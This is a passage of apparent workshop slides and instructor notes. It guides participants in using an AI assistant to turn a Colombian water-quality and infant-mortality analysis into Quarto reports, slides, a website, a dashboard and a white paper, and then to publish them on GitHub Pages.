adds irca_vs_infant() · uv run python scripts/analysis.py

Exercise · ⏱️ 3 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/09-water-causation/README.md

ρ and n are saved and printed for every cluster.

⚠️ Show It + Discuss

Add a section to clusters.qmd that reads those outputs: median infant_mortality by IRCA band per cluster, with rho and n, and one sentence stating this is descriptive and does not establish a causal effect of water safety. Render it.

edits clusters.qmd · uv run quarto render clusters.qmd

💬 while it runs, with a neighbour: pick one confounder: could it hide a real effect, or create a fake one?

Exercise · ⏱️ 3 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/09-water-causation/README.md

clusters.html shows ρ and n per cluster, and you can say how one confounder could bias it.

📤 Publish Many

⏱️ 5:10

📄 5:10 · Report → docx + PDF

Create report.qmd (formats html, docx, typst) from outputs/: summary, question, data (IRCA = utility-supplied prestadores IRCA), method, heatmap, outcomes, correlation ≠ causation (a chart of median infant_mortality by IRCA band per cluster), limits, sources. Matplotlib figures with captions and alt text; hide code. Render all formats; report errors.

writes report.qmd · uv run quarto render report.qmd

open report.docx (Word or LibreOffice) and report.pdf

Exercise · ⏱️ 8 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/10-water-report/README.md

report.docx and report.pdf open with the heatmap, the outcomes and the within-cluster figures.

📊 5:20 · Slides → revealjs + pptx

Create slides.qmd (revealjs and pptx) for the municipal council, 6 slides with the title: the question, a table of the named clusters, the heatmap, outcomes by cluster, what this does and does not show. Read outputs/, use matplotlib, hide code. Render both; count the slides.

writes slides.qmd · uv run quarto render slides.qmd

open slides.html in your browser and slides.pptx in PowerPoint or LibreOffice

Exercise · ⏱️ 4 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/11-water-slides/README.md

slides.html and slides.pptx both have 6 slides.

📖 Report → ePub · ⭐ optional

In report.qmd, add an epub format (toc: true), set lang: en, and add ePub to the html `format-links`. Render report.qmd and check that report.epub contains the three figures and the sources.

lang: en        # the e-book's language
format:
  html:
    format-links:
      # … Word, PDF
      - text: ePub
        format: epub
  epub:
    toc: true

edits report.qmd · uv run quarto render report.qmd

open report.epub in an e-book reader (Calibre, or Books on a Mac)

Exercise · ⏱️ 4 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/12-water-epub/README.md

report.epub opens with the three figures and the sources.

✍️🌐 5:26 · Blog + Website

# _quarto.yml
project:
  type: website
  execute-dir: project
  pre-render: scripts/analysis.py
execute:
  freeze: false

# index.qmd
listing:
  contents: posts

🔁 pre-render rebuilds outputs/

🧪 freeze: false re-runs every page → always the new numbers

⭐ later, for slow sites: freeze: auto reuses old results
until you run rm -rf _freeze

pre-render runs the script before every render, including a single-file render inside the project. freeze: false re-executes every page on every render, so one uv run quarto render rebuilds the analysis and every publication, and nothing needs clearing when data/ or the script change. execute-dir: project makes every page, including the post in posts/…/, read outputs/ and data/ from the project folder. Optional extension for slow sites: freeze: auto stores each page’s results in _freeze/ and re-executes a page only when its own source changes, so changes to data/ or outputs/ are not detected; delete _freeze/ (or render that page directly, which ignores freeze) after the data or the analysis change. A listing turns posts/*/index.qmd into a blog index. Docs: https://quarto.org/docs/projects/scripts.html, https://quarto.org/docs/projects/code-execution.html#freeze, https://quarto.org/docs/websites/website-listings.html (checked 2026-10-30).

✍️🌐 Website + Post

Make this folder a Quarto website: _quarto.yml (execute-dir: project, `pre-render` scripts/analysis.py, freeze: false, render list, navbar), index.qmd listing posts/, and one post titled with the real k, e.g. "Four kinds of municipal zone". Render it; check the links.

writes 3 files · uv run quarto render → _site/

uv run quarto preview

Exercise · ⏱️ 6 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/13-water-website/README.md

the site lists one post whose title states the real k.

🌍 5:34 · Publish It

Initialise a git repository here with a .gitignore for _site/, .quarto/, .venv/, outputs/ and *_files/. Replace README.md in this folder with a short one linking to https://<your-github-username>.github.io/water-quality/ and listing the files in the site's Downloads menu. Commit everything not ignored, then create a public GitHub repository named `water-quality` with gh and push to it. Set the repository's website to the same URL with `gh repo edit --homepage`. Show me the README and the website URL you set.

approve gh · when it shows the website URL, second tab: uv run quarto publish gh-pages, Enter at “Publish site … (Y/n)” · open the live URL

💬 while it publishes: what is the difference between your folder and the live site?

Exercise · ⏱️ 6 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/13-water-website/README.md

https://<your-github-username>.github.io/water-quality/ opens in a browser.

Same steps as Part 1. The assistant runs gh repo create water-quality --public --source=. --push with the gh sign-in from the setup check (https://cli.github.com/manual/gh_repo_create). The new README.md links the repository to the live site and replaces the catch-up copy of examples/water/README.md; data/README.md stays unchanged. As in Part 1, the first quarto publish gh-pages is the participant’s: --no-prompt cannot create the gh-pages branch in Quarto 1.6.40 (the GitHub Pages guide asks for one local quarto publish gh-pages before any non-interactive publish (https://quarto.org/docs/publishing/github-pages.html, checked 2026-11-01)). It renders locally (running the pre-render script), creates the branch, pushes _site/ and opens the site. In the dry run of 2026-11-01 that took about two minutes on its own (the branch was created at 11:04:13 UTC and the built site pushed at 11:05:28), and GitHub Pages then built in 20–35 s; with the assistant’s git and gh step before it and the first page load after, the step is timed at 6 minutes, two of them taken from the website step, whose render took 47 s. Later updates can use --no-prompt. A push that fails with HTTP 400 usually succeeds after git config http.postBuffer 524288000. A project site needs no Settings → Pages change; that page only shows the URL and status. Docs: https://quarto.org/docs/publishing/github-pages.html (checked 2026-10-30). The data is public (CC BY-SA 4.0 and CC BY 4.0 sources, see data/README.md), so publishing data/ with the site is fine; keep the attributions. The 💬 check leads into the next task without answering it: the live site is the last published _site/, so local changes do not appear online until the next publish.

🔁 5:42 · Change an Input

🧪 No prompt is given: write your own.

🔮 Predict: in scripts/analysis.py change MAX_MISSING = 2 to 1. Which outputs will change?
🔁 Rebuild the site
🔎 Explain: which outputs updated, which did not, and why?
↩︎️ undo the change and rebuild, so the outputs match the real settings

Exercise · ⏱️ 6 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/13-water-website/README.md

you can name the outputs that changed, the ones that did not, and why.

The workshop’s second task without a supplied prompt, and the one that checks the lesson of the block: the analysis runs once and every publication reads its outputs/. The setting MAX_MISSING drops rows missing more than that many features. Tested on 2026-11-01 on a copy of examples/water/ (the analysis alone took under a minute): 1 instead of 2 drops 654 rows instead of 2 (mostly department capitals, whose zone-level coverage is missing), keeps 10,583 rows instead of 11,235, and leaves k at 4, so the blog post’s assert k == 4 still passes. If a participant picks a setting that changes k, the post fails by design: ask what that guard is for, then revert. Expected answer: pre-render re-runs scripts/analysis.py, which rewrites outputs/ (cluster_profiles.csv, k_selection.csv, stability.csv, outcomes_by_year.csv, irca_infant*.csv, clusters.parquet, summary.json), and freeze: false re-executes every page, so the Explore and Clusters pages, the report (html, docx, pdf and ⭐ epub), the slides (revealjs and pptx), the blog post and the ⭐ dashboard change together. Not changed: data/, the page sources, the post’s title (the real k, still 4) and, until it is republished, the live site. Strong answers name the mechanism (pre-render, freeze: false, outputs/) and check at least two outputs against the new row counts. Another setting to try: SEED (clusters are numbered by centroid IRCA, so labels should stay and little changes). Undo with git restore scripts/analysis.py (the publish step committed it).

📈 Dashboard · ⭐ optional

Map of Colombia's municipalities coloured by the 2023 IRCA band of their head town, with a legend from hatched no data through no risk, low, medium and high to unfit. Most of the Andean interior is in the darker no-risk and low-risk colours, scattered municipalities are bright high-risk, and much of the east and the Amazon is hatched for no data. — Figure 9: Urban zones, 2023: utility-supplied (prestadores) IRCA band.

🗺️ choropleth: municipios.geojson joined on divipola

🎚️ year slider: 2016 → 2023

🔎 search a department → its municipalities

🗂️ two pages: map · table

📈 Build It · ⭐ optional

Create dashboard.qmd (format: dashboard): a Plotly choropleth of the IRCA band of the "urban" rows of outputs/clusters.parquet on data/municipios.geojson (featureidkey="properties.divipola"), a year slider over their years (frames update only z), an itables table of outputs/clusters.parquet (maxBytes=0); end each chart cell with `fig`. Make it polished: IRCA bands in order from no risk to unfit, light to dark, with a legend, titled cards and readable labels. Add it to the navbar; render, check it looks good at laptop size and report errors.

writes dashboard.qmd · edits _quarto.yml · uv run quarto render · ask it to run uv run quarto publish gh-pages --no-prompt

reload the preview (or uv run quarto preview) → 📈 Dashboard

Exercise · ⭐ self-paced

😰 Stuck?

Catch me up: follow ../quarto-workshop/examples/water/README.md

the map changes when you move the year slider.

📈 Three More Dashboard Pages · ⭐ optional

Add Kinds, Outcomes and Method pages to dashboard.qmd from outputs/ only: a heatmap of cluster_profiles.csv's `z_` columns; outcomes_by_year.csv medians by `year` and `cluster`, and irca_infant.csv's ρ; k_selection.csv's inertia and silhouette by k. Use each cluster's `color` and axis units; say it is descriptive, not causal. Render; check each page at laptop size.

🧬 Kinds · 🎯 Outcomes · 📐 Method (why k = 4), from outputs/

reload 📈 Dashboard · open each page

Exercise · ⏱️ 8 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/examples/water/README.md

the dashboard has Map, Kinds, Outcomes, Method and Municipalities pages.

📑 A White Paper · ⭐ optional

Create whitepaper.qmd from outputs/: A4 Typst, "New Computer Modern"; an abstract (no inline code), numbered Introduction, Methods with equations, Results and Conclusions, then References via `#set bibliography(title: [References])`. Cite data/README.md's sources and the k-means, silhouette and ARI papers in references.bib; open each DOI. Add it to `render` and the "Downloads" menu; render; check equations and citations. Figures must be vector: set `fig-format: svg` and check that the files in `figure-typst/` end in .svg.

$$
W = \sum_c \sum_i \|z_i - m_c\|^2
$$ {#eq-kmeans}

k-means [@lloyd1982] minimises @eq-kmeans.

uv run quarto render whitepaper.qmd

open whitepaper.pdf

Exercise · ⏱️ 10 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/examples/water/README.md

whitepaper.pdf shows numbered equations and references.

The same article format as Part 1’s white paper (#london-whitepaper): Typst styled like a LaTeX article, with no LaTeX install; #set bibliography(title: [References]) goes in the Typst format’s include-in-header, so the paper needs no References heading of its own. An inline expression in a YAML abstract fails (it runs before the setup cell), hence “no inline code”. New here are equations: $$ … $$ {#eq-kmeans} numbers an equation and @eq-kmeans refers to it. The methods cite the papers behind each step: k-means, Lloyd (1982), https://doi.org/10.1109/TIT.1982.1056489; the silhouette, Rousseeuw (1987), https://doi.org/10.1016/0377-0427(87)90125-7; the adjusted Rand index, Hubert and Arabie (1985), https://doi.org/10.1007/BF01908075; and scikit-learn, Pedregosa et al. (2011), https://jmlr.org/papers/v12/pedregosa11a.html (all checked 2026-11-01). An assistant can invent a plausible reference, so the prompt asks it to check every DOI; ask it to drop any it cannot open rather than guess. The project’s AGENTS.md supplies the rules the prompt leaves out: the utility-supplied (prestadores) IRCA label, every number from outputs/, outcomes never clustered on, and comparisons that are descriptive, not causal. The finished paper, quarto-workshop/examples/water/whitepaper.qmd, also cites the WHO drinking-water fact sheet and Robinson (1950) on ecological correlation. Docs: https://quarto.org/docs/authoring/cross-references.html and https://quarto.org/docs/authoring/citations.html (checked 2026-11-01). To update the live site, ask the assistant to run uv run quarto publish gh-pages --no-prompt. Optional and self-paced: not counted in the agenda.

🚀 Extra Challenges

🔀

Sankey: cluster moves between years

⭐

positive deviants: good outcomes despite risky water

🧪

GMM · HDBSCAN: soft or density clusters

🦠

SIVIGILA: diarrhoeal disease incidence, once available

📚 Sources

💧 IRCA: INS, Calidad del Agua para Consumo Humano en Colombia, datos.gov.co nxt2-39c3, CC BY-SA 4.0 (utility-supplied, prestadores)
🎚️ Bands: MinProtección Social and MAVDT, Resolución 2115 de 2007, art. 15 · 🇨🇴 MinSalud, MinVivienda, INS and Superservicios, INCA 2023 (Bogotá, January 2025), Tabla 4
🏛️ Coverage, poverty, MDM, SGP, region, infant mortality: DNP TerriData (Superservicios, DANE, DNP-SICODIS, MinSalud)
🗺️ DANE: DIVIPOLA gdxc-w37w · population projections 2005–2017, 2018–2042 · MGN 2023
🎓 Saber 11: ICFES kgxf-xxbe, rnvb-vnyh · 🎒 dropout: MEN nudc-7mev
🌧️ Rainfall: CHIRPS v3.0, Funk et al. (2026), Scientific Data 13, 718, doi:10.1038/s41597-026-07096-4; data doi:10.15780/G2JQ0P; Funk et al. (2015), Scientific Data 2, 150066, doi:10.1038/sdata.2015.66
⛰️ Altitude (derived): NASA SRTM GL3, doi:10.5067/MEaSUREs/SRTM/SRTMGL3.003, via OpenTopoData
📘 Docs: scripts · freeze · listings · dashboards · Typst · ePub, checked 2026-10-30 · citations · cross-references, checked 2026-11-01

🏁 Done

⏱️ 5:50

🙌 What You Built

🇬🇧

London guide: html · docx · pdf · dashboard · email · flyer · live site (⭐ ad · pptx · revealjs · epub)

💧

Water analysis: report (docx · pdf · ⭐ epub) · slides (pptx · revealjs) · blog · live site (⭐ dashboard)

🔁

One source, many outputs, rebuilt with one command: you can say which ones a changed input updates

🔗 Show your live sites: paste both URLs in 💬 Discord

📚 Quarto guide · Dashboards · Typst · GitHub Pages

➡️ Next: AI workflows: promotion experiments and sales outcomes